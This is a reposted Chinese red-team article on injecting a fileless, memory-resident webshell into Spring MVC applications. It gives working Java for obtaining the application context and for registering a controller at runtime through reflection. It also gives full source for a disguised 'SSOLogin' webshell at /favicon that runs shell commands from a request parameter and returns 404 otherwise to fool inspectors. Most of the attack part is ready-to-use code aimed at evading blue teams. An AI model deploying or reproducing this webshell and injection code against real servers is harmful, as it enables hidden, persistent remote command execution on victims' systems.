03.06 「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

可領全套安全課程、配套攻防靶場


「乾貨」基於內存 Webshell 的無文件攻擊技術戰略


一. 情況介紹


紅隊人員在面對藍隊的嚴防死守與”盯梢”式的防禦策略時,傳統需要文件落地的攻擊技術往往會受到掣肘,基於 Web 的無文件攻擊技術逐漸成為 Web 安全的一種新的研究趨勢。


所以我們重點研究了基於 Java 的常用 Web 框架 — SpringMvc,並實現了利用多種不同的技術手段,往內存中注入惡意 Webshell 代碼的無文件攻擊技術。

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

二. 必要知識


在切入正題前,首先需要了解下 Spring 框架中的幾個必要的名詞術語。


Bean


bean 是 Spring 框架的一個核心概念,它是構成應用程序的主幹,並且是由 Spring IoC 容器負責實例化、配置、組裝和管理的對象。


通俗來講:

  • bean 是對象
  • bean 被 IoC 容器管理
  • Spring 應用主要是由一個個的 bean 構成的


ApplicationContext


Spring 框架中,BeanFactory 接口是 Spring IoC容器 的實際代表者。

從下面的接口繼承關係圖中可以看出,ApplicationContext 接口繼承了 BeanFactory 接口,並通過繼承其他接口進一步擴展了基本容器的功能。

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它負責實例化、定位、配置應用程序中的對象(bean)及建立這些對象間(beans)的依賴。


IoC容器通過讀取配置元數據來獲取對象的實例化、配置和組裝的描述信息。配置的零元數據可以用xml、Java註解或Java代碼來表示。


另外,如下圖,還有一堆各式各樣的 context 繼承了 ApplicationContext 接口,太繁雜不展開描述,僅供參考。


「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

ContextLoaderListener 與 DispatcherServlet


下面是一個典型 Spring 應用的 web.xml 配置示例:

<code><web-app>         xmlns="http://java.sun.com/xml/ns/javaee"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"
version="2.5">

<display-name>HelloSpringMVC/<display-name>

<context-param>
<param-name>contextConfigLocation/<param-name>
<param-value>/WEB-INF/applicationContext.xml/<param-value>
/<context-param>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener/<listener-class>
/<listener>

<servlet>
<servlet-name>dispatcherServlet/<servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet/<servlet-class>
<init-param>
<param-name>contextConfigLocation/<param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml/<param-value>
/<init-param>
<load-on-startup>1/<load-on-startup>
/<servlet>

<servlet-mapping>
<servlet-name>dispatcherServlet/<servlet-name>
<url-pattern>//<url-pattern>
/<servlet-mapping>
/<web-app>
/<code>

在正式瞭解上面的配置前,先介紹下關於 Root Context 和 Child Context 的重要概念:


  • Spring 應用中可以同時有多個 Context,其中只有一個 Root Context,剩下的全是 Child Context
  • 所有Child Context都可以訪問在 Root Context中定義的 bean,但是Root Context無法訪問Child Context中定義的 bean
  • 所有的Context在創建後,都會被作為一個屬性添加到了 ServletContext中


ContextLoaderListener


ContextLoaderListener 主要被用來初始化全局唯一的Root Context,即 Root WebApplicationContext。


這個 Root WebApplicationContext 會和其他 Child Context 實例共享它的 IoC 容器,供其他 Child Context 獲取並使用容器中的 bean。


回到 web.xml 中,其相關配置如下:

<code><context-param>
<param-name>contextConfigLocation/<param-name>
<param-value>/WEB-INF/applicationContext.xml/<param-value>
/<context-param>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener/<listener-class>

/<listener>
/<code>

依照規範,當沒有顯式配置 ContextLoaderListener 的 contextConfigLocation 時,程序會自動尋找 /WEB-INF/applicationContext.xml,作為配置文件,所以其實上面的 <context-param> 標籤對其實完全可以去掉。/<context-param>


DispatcherServlet


DispatcherServlet 的主要作用是處理傳入的web請求,根據配置的 URL pattern,將請求分發給正確的 Controller 和 View。


DispatcherServlet 初始化完成後,會創建一個普通的 Child Context 實例。


從下面的繼承關係圖中可以發現: DispatcherServlet 從本質上來講是一個 Servlet(擴展了 HttpServlet )。

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

回到 web.xml 中,其相關配置如下:

<code><servlet>
<servlet-name>dispatcherServlet/<servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet/<servlet-class>
<init-param>
<param-name>contextConfigLocation/<param-name>
<param-value>/WEB-INF/dispatcherServlet-servlet.xml/<param-value>
/<init-param>
<load-on-startup>1/<load-on-startup>
/<servlet>
/<code>

上面給 org.springframework.web.servlet.DispatcherServlet 類設置了個別名 dispatcherServlet ,並配置了它的 contextConfigLocation 參數值為 /WEB-INF/dispatcherServlet-servlet.xml。


依照規範,當沒有顯式配置 contextConfigLocation 時,程序會自動尋找 /WEB-INF/<servlet-name>-servlet.xml,作為配置文件。/<servlet-name>


因為上面的 <servlet-name> 是 dispatcherServlet,所以當沒有顯式配置時,程序依然會自動找到 /WEB-INF/dispatcherServlet-servlet.xml 配置文件。/<servlet-name>


綜上,可以瞭解到:每個具體的 DispatcherServlet 創建的是一個 Child Context,代表一個獨立的 IoC 容器;而 ContextLoaderListener 所創建的是一個 Root Context,代表全局唯一的一個公共 IoC 容器。


如果要訪問和操作 bean ,一般要獲得當前代碼執行環境的IoC 容器 代表者 ApplicationContext。

三. 技術要點


  • Q: spring 內存注入 Webshell,要達到什麼樣的效果?


  • A: 一言以蔽之:在執行完一段 java 代碼後,可通過正常的 URL 訪問到內存中的 Webshell 獲得回顯即可。

在經過一番文檔查閱和源碼閱讀後,發現可能有不止一種方法可以達到以上效果。其中通用的技術點主要有以下幾個:

  1. 在不使用註解和修改配置文件的情況下,使用純 java 代碼來獲得當前代碼運行時的上下文環境;
  2. 在不使用註解和修改配置文件的情況下,使用純 java 代碼在上下文環境中手動註冊一個 controller;
  3. controller 中寫入 Webshell 邏輯,達到和 Webshell 的 URL 進行交互回顯的效果;

四. 技術實現


獲得當前代碼運行時的上下文環境


方法一:getCurrentWebApplicationContext

<code>WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
/<code>

如下圖, getCurrentWebApplicationContext 獲得的是一個 XmlWebApplicationContext 實例類型的 Root WebApplicationContext。


注意這裡及下面實現方法中的 Root WebApplicationContext 都是後文的一個伏筆。


「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

方法二:WebApplicationContextUtils


<code>WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
/<code>

通過這種方法獲得的也是一個 Root WebApplicationContext 。


此方法看起來比較麻煩,其實拆分起來比較容易理解,主要是用 WebApplicationContextUtils的

<code>WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
/<code>

方法來獲得當前上下文環境。其中 WebApplicationContextUtils.getWebApplicationContext 函數也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext來替換。

剩餘部分代碼,都是用來獲得 ServletContext 類的一個實例。仔細研究後可以發現,上面的代碼完全可以簡化成方法三中的代碼。


方法三:RequestContextUtils

<code>WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
/<code>

上面的代碼使用 RequestContextUtils 的

<code>public static WebApplicationContext getWebApplicationContext(ServletRequest request)
/<code>

方法,通過 ServletRequest 類的實例來獲得 WebApplicationContext 。


如下圖,可以發現此方法獲得的是一個名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。


這個 dispatcherServlet-servlet 其實是上面配置中 dispatcherServlet-servlet.xml 的文件名。


「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

進一步分析,代碼中有個 RequestContextHolder.currentRequestAttributes() ,在前置知識中已經提到過

所有的Context在創建後,都會被作為一個屬性添加到了 ServletContext中


然後如下圖,查看當前所有的 attributes,發現確實保存有 Context 的屬性名。


其中 org.springframework.web.servlet.DispatcherServlet.CONTEXT 和 org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE 屬性名中都存放著一個名叫 dispatcherServlet-servlet 的 Child WebApplicationContext 。


「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

方法四:getAttribute

<code>WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
/<code>

從方法三的分析來看,其實完全可以將存放在 ServletContext 屬性中的 Context 取出來直接使用。


在閱讀相關源碼後發現,上面代碼中的 currentRequestAttributes() 替換成 getRequestAttributes() 也同樣有效;getAttribute 參數中的 0代表從當前 request 中獲取而不是從當前的 session 中獲取屬性值。


因此,使用以上代碼也可以獲得一個名叫 dispatcherServlet-servlet 的 Child WebApplicationContext。


手動註冊 controller


一個正常的 Controller 示例代碼如下,當用瀏覽器訪問 /hello 路徑時,會在定義好的 View 中輸出 hello World 字樣。

<code>@Controller
public class HelloController {
@RequestMapping(value = "/hello", method = RequestMethod.GET)
public String hello(@RequestParam(value="name", required=false, defaultValue="World") String name, Model model) {

model.addAttribute("name", name);
return "hello";
}
}
/<code>

如下圖:Spring 3.2.5 處理 URL 映射相關的類都實現了 HandlerMapping 接口。

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

Spring 2.5 開始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;


Spring 3.1 開始及以後一般開始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器來支持@Contoller和@RequestMapping註解。


當然,也有高版本依舊使用舊映射器的情況。因此正常程序的上下文中一般存在其中一種映射器的實例 bean。


又因版本不同和較多的接口等原因,手工註冊動態 controller 的方法不止一種。


方法一:registerMapping


在 spring 4.0 及以後,可以使用 registerMapping 直接註冊 requestMapping ,這是最直接的一種方式。


相關示例代碼和解釋如下:

<code>// 1. 從當前上下文環境中獲得 RequestMappingHandlerMapping 的實例 bean
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通過反射獲得自定義 controller 中唯一的 Method 對象
Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
// 3. 定義訪問 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
// 4. 定義允許訪問 controller 的 HTTP 方法(GET/POST)

RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在內存中動態註冊 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, Class.forName("me.landgrey.SSOLogin").newInstance(), method);
/<code>

方法二:registerHandler


參考上面的 HandlerMapping 接口繼承關係圖,針對使用 DefaultAnnotationHandlerMapping 映射器的應用,可以找到它繼承的頂層類

<code>org.springframework.web.servlet.handler.AbstractUrlHandlerMapping
/<code>

進入查看代碼,發現其中有一個registerHandler 方法,摘錄關鍵部分如下:

<code>protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
...
Object resolvedHandler = handler;
if (!this.lazyInitHandlers && handler instanceof String) {
String handlerName = (String)handler;
if (this.getApplicationContext().isSingleton(handlerName)) {
resolvedHandler = this.getApplicationContext().getBean(handlerName);
}
}
Object mappedHandler = this.handlerMap.get(urlPath);
if (mappedHandler != null) {
if (mappedHandler != resolvedHandler) {
throw new IllegalStateException("Cannot map " + this.getHandlerDescription(handler) + " to URL path [" + urlPath + "]: There is already " + this.getHandlerDescription(mappedHandler) + " mapped.");
...
} else {
this.handlerMap.put(urlPath, resolvedHandler);
if (this.logger.isInfoEnabled()) {
this.logger.info("Mapped URL path [" + urlPath + "] onto " + this.getHandlerDescription(handler));
}
}
}
/<code>

該方法接受 urlPath參數和 handler參數,可以在 this.getApplicationContext() 獲得的上下文環境中尋找名字為 handler 參數值的 bean, 將 url 和 controller 實例 bean 註冊到 handlerMap 中。


相關示例代碼和解釋如下:

<code>// 1. 在當前上下文環境中註冊一個名為 dynamicController 的 Webshell controller 實例 bean
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
// 2. 從當前上下文環境中獲得 DefaultAnnotationHandlerMapping 的實例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射獲得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 將 dynamicController 和 URL 註冊到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");
/<code>

方法三:detectHandlerMethods


參考上面的 HandlerMapping 接口繼承關係圖,針對使用 RequestMappingHandlerMapping 映射器的應用,可以找到它繼承的頂層類

<code>org.springframework.web.servlet.handler.AbstractHandlerMethodMapping
/<code>

進入查看代碼,發現其中有一個detectHandlerMethods 方法,代碼如下:

<code>protected void detectHandlerMethods(Object handler) {
Class> handlerType = handler instanceof String ? this.getApplicationContext().getType((String)handler) : handler.getClass();
final Class> userType = ClassUtils.getUserClass(handlerType);

Set<method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
public boolean matches(Method method) {
return AbstractHandlerMethodMapping.this.getMappingForMethod(method, userType) != null;
}
});
Iterator var6 = methods.iterator();
while(var6.hasNext()) {
Method method = (Method)var6.next();
T mapping = this.getMappingForMethod(method, userType);
this.registerHandlerMethod(handler, method, mapping);
}
}
/<method>/<code>

該方法僅接受handler參數,同樣可以在 this.getApplicationContext() 獲得的上下文環境中尋找名字為 handler 參數值的 bean, 並註冊 controller 的實例 bean。


示例代碼如下:

<code>context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance());
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
m1.invoke(requestMappingHandlerMapping, "dynamicController");
/<code>

controller 中的 Webshell 邏輯


在使用 registerMapping 動態註冊 controller 時,不需要強制使用 @RequestMapping 註解定義 URL 地址和 HTTP 方法,其餘兩種手動註冊 controller 的方法都必須要在 controller 中使用@RequestMapping 註解 。

除此之外,將 Webshell 的代碼邏輯寫在主要的 Controller 方法中即可。

下面提供一個簡單的用來執行命令回顯的 Webshell 代碼示例:

<code>package me.landgrey;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

@Controller
public class SSOLogin {

@RequestMapping(value = "/favicon")
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
}
}
}
/<code>

代碼比較簡單,達到的效果是,當請求沒有攜帶指定的參數(code)時,返回 404 錯誤,當沒有經驗的人員檢查時


因為 Webshell 僅存在於內存中,直接訪問又是 404 狀態碼,所以很可能會認為 Webshell 不存在或者沒有異常了。

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略

五. 注意事項


不同的映射處理器


如下面的配置,當有些老舊的項目中使用舊式註解映射器時,上下文環境中沒有 RequestMappingHandlerMapping 實例的 bean,但會存在 DefaultAnnotationHandlerMapping 的實例 bean。

<code><bean>
<bean>
/<code>

Root Context 與 Child Context


上文展示的四種獲得當前代碼運行時的上下文環境的方法中,推薦使用後面兩種方法獲得 Child WebApplicationContext。


這是因為:根據習慣,在很多應用配置中註冊Controller 的 component-scan 組件都配置在類似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中。


這樣就導致 RequestMappingHandlerMapping 的實例 bean 只存在於 Child WebApplicationContext 環境中,而不是 Root WebApplicationContext 中。


上文也提到過,Root Context無法訪問Child Context中定義的 bean,所以可能會導致 Root WebApplicationContext 獲得不了 RequestMappingHandlerMapping 的實例 bean 的情況。


另外,在有些Spring 應用邏輯比較簡單的情況下,可能沒有配置 ContextLoaderListener 、也沒有類似 applicationContext.xml 的全局配置文件,只有簡單的 servlet 配置文件,這時候通過前兩種方法是獲取不到Root WebApplicationContext的。


應用場景


既然是通過執行 java 代碼內存注入 webshell,那麼一般需要通過 Spring 相關的代碼執行漏洞才可以利用,例如較為常見的 Java 反序列漏洞、普通的 JSP 文件 Webshell 轉換成無文件 Webshell等。

六. 演示


本文技術的具體實現已集成到實驗室內部的 Webshell 管理工具中,下面的動態圖片演示了在 SpringMvc 環境中向內存注入一個自定義 URL 的 Webshell 操作。


作者: LandGrey@觀星實驗室

轉載自: https://www.anquanke.com/post/id/198886


今天你知道了嗎

「乾貨」基於內存 Webshell 的無文件攻擊技術戰略


加群,黑客技術大咖在線解答(群號評論區見)


分享到:


相關文章: